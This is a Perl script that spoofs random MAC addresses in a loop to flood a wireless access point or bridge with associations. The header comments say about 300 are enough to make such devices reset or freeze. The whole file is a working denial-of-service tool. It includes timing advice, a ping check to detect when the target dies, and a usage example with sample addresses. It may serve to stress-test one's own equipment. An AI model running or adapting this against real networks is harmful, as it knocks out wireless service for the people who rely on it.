#!/usr/bin/perl -w # # This script creates a pseudo-random MAC address to be assigned to the # specified wireless LAN interface. In my testing, it took approximately # 300 unique MAC address to make a wireless bridge reset or freeze. # # 1. Associate with an AP using any MAC address and "iwconfig" # 2. Run this program to change your MAC to create many unique # associatations with the bridge. # # Note that your will need to be able to set your MAC address on the wireless # NIC for this test to be successful. I have tested successfully with Cisco # 350 cards using cisco_cvs drivers, and with an ORiNOCO card using Linux # pcmcia-cs 3.1.34 drivers, patched with Snax's patch at airsnort.shmoo.com # # Modified 9/23/02 to use usleep() instead of sleep(). Perl users <5.8 # will need to install the Time::HiRes module from CPAN with the command # 'perl -MCPAN -e "install Time::HiRes" ' and answer the questions that follow. # # Modified 9/26/02 to add -f|--dataflush option. The AP I am testing does # successfully authenticate and associate each MAC we send to it, but does # not actually recognize the associated client in the mgmt utilities (SNMP) # until it sees another data/management frame from the MAC. We can use # "iwlist eth1 retry" for this purpose - generating a LLC frame with # OUI/PID or 0x004096/0x0000. Works for me. Also some code cleanup. # # TODO: Fork ping process into nonblocking job # Use Net::Ping or similar instead of system(ping) use Getopt::Long; use IO::Handle qw ( autoflush ); use Time::HiRes qw( usleep ); use strict; my ( $IFCONFIG, $opt_interface, $i, $tried, $progname, $PINGCMD, $opt_debug, $preping, $opt_help, $opt_count, $opt_apaddr, $opt_srcaddr, $opt_wait, $opt_pingtest, $prepingcmd, $cmd, $pingcmd, $tmp, $IWCONFIG, $x, $IWLIST, $opt_dataflush, $dflushcmd, ) ; my ( @cmd, @pingcmd, @prepingcmd, @dflushcmd, ); $IFCONFIG="/sbin/ifconfig"; $IWCONFIG="/usr/sbin/iwconfig"; $IWLIST="/usr/sbin/iwlist"; $PINGCMD="/bin/ping"; $i = 0; $tried = 0; #$opt_count = 500; $opt_count = 0; $opt_interface = "eth0"; $opt_wait = 375000; # in microseconds # I've found that .375 seconds is a good pause between asserting a new # MAC address. You probably should not go much lower than .35 seconds as you # won't get a new association for each new MAC. $progname = $0; $progname =~ s,.*/,,; # only basename left in progname $progname =~ s/\.\w*$//; # strip extension if any Getopt::Long::Configure ("bundling_override"); GetOptions( 'int|i=s', \$opt_interface, 'debug|d', \$opt_debug, 'help|h', \$opt_help, 'count|c=i', \$opt_count, 'apaddr|a=s', \$opt_apaddr, 'srcaddr|s=s', \$opt_srcaddr, 'usleep|u=i', \$opt_wait, 'pingtest|p', \$opt_pingtest, 'dataflush|f', \$opt_dataflush, ) or Usage(''); unless (-e "$IFCONFIG") { printf STDERR "$progname: Cannot find interface config tool at $IFCONFIG\n"; printf STDERR "$progname: Edit this file to specify the correct path.\n"; exit(1); } unless (-e "$IWCONFIG") { printf STDERR "$progname: Cannot find wlan configuration tool at $IWCONFIG\n"; printf STDERR "$progname: Edit this file to specify the correct path.\n"; exit(1); } # Only test for $PINGCMD if we are going to use it if ($opt_pingtest) { unless (-s "$PINGCMD") { printf STDERR "$progname: Cannot find ping tool at $PINGCMD\n"; printf STDERR "$progname: Edit this file to specify the correct path.\n"; exit(1); } } # Only test for $IWLIST is we are going to use it if ($opt_dataflush) { unless (-s "$IWLIST") { printf STDERR "$progname: Cannot find $IWLIST\n"; printf STDERR "$progname: Edit this file to specify the correct path,\n"; printf STDERR "$progname: or run without \"-f|--dataflush\" flag.\n"; exit(1); } } # Test command line provided arguments &Usage("") if ($opt_help); &Usage("Need to specify number of MAC's to generate with -c|--count") if ($opt_count < 1); &Usage("Need to specify -a and -s with pingtest") if ($opt_pingtest && (($opt_apaddr eq '') || ($opt_srcaddr eq ''))); # Main # If we are going to test for a failed AP, test to make sure it's up first if ($opt_pingtest) { $prepingcmd = "$PINGCMD -c5 -I $opt_srcaddr $opt_apaddr"; unless ($opt_debug) { $prepingcmd = $prepingcmd . " >/dev/null"; } @prepingcmd = split(/\+s/,$prepingcmd); unless (system(@prepingcmd) == 0) { die "Command $prepingcmd returned non-zero: $?"; } } print "Sending $opt_count associations ... "; for ($i=0; $i < $opt_count; $i++) { $cmd = "$IFCONFIG $opt_interface down; $IFCONFIG $opt_interface hw ether " . fakemac() . " ; $IFCONFIG $opt_interface up " ; if ($opt_debug) { print "debug: running $cmd\n"; } @cmd = split(/\+s/,$cmd); unless (system(@cmd) == 0) { die "Command $cmd returned non-zero: "; } $tried++; # now try and ping the AP to see if this was the one that killed it. if ($opt_pingtest) { $pingcmd = "$PINGCMD -c1 -s $opt_srcaddr $opt_apaddr"; unless ($opt_debug) { $pingcmd = $pingcmd . " >/dev/null"; } @pingcmd = split(/\+s/,$pingcmd); unless (system(@pingcmd) == 0) { print "No response from $opt_apaddr after $tried attempts.\n"; exit(0); } } usleep($opt_wait); if ($opt_dataflush) { # The next system() line causes the card to send frames following the # authentication/association caused by changing the MAC address and up/down # of the interface. In my testing, this commits the new MAC to the listing # of the AP2000 configuration tool. $dflushcmd = "$IWLIST $opt_interface retry"; unless ($opt_debug) { $dflushcmd = $dflushcmd . " >/dev/null"; } @dflushcmd = split(/\+s/,$dflushcmd); unless (system(@dflushcmd) == 0) { die "Error returned from \"$dflushcmd\":"; } } } # Close for x=0 loop print "Done.\n"; exit(0); # End Main sub fakemac { # Adapted from Wellenreiter.pl, remote-exploit.org my $fakemac = ""; for ($x=0; $x < 4; $x++) { $tmp = sprintf("%x", int(rand(255))); if (length($tmp) < 2) { $tmp = '0' . $tmp; } $fakemac = $fakemac . $tmp ; } $fakemac = '0062' . $fakemac; return($fakemac); } sub Usage { my($msg) = @_; select(STDERR); autoflush STDERR 1; print STDERR "$progname: $msg\n" unless ($msg eq ""); print "Usage:\n"; print " $progname [options]\n"; print " -c, --count\n"; print " -u, --usleep (microseconds)\n"; print " -f, --dataflush\n"; print " -p, --pingtest\n"; print " -i, --interface WLANINT\n"; print " -a, --apaddr\n"; print " -s, --srcaddr\n"; print " -d, --debug\n"; print " -h, --help\n"; print "\n"; print "e.x. $progname -c 500 -u 500000 -f -i eth1 -p -a 172.16.1.1 -s 10.1.1.2\n"; exit(1); }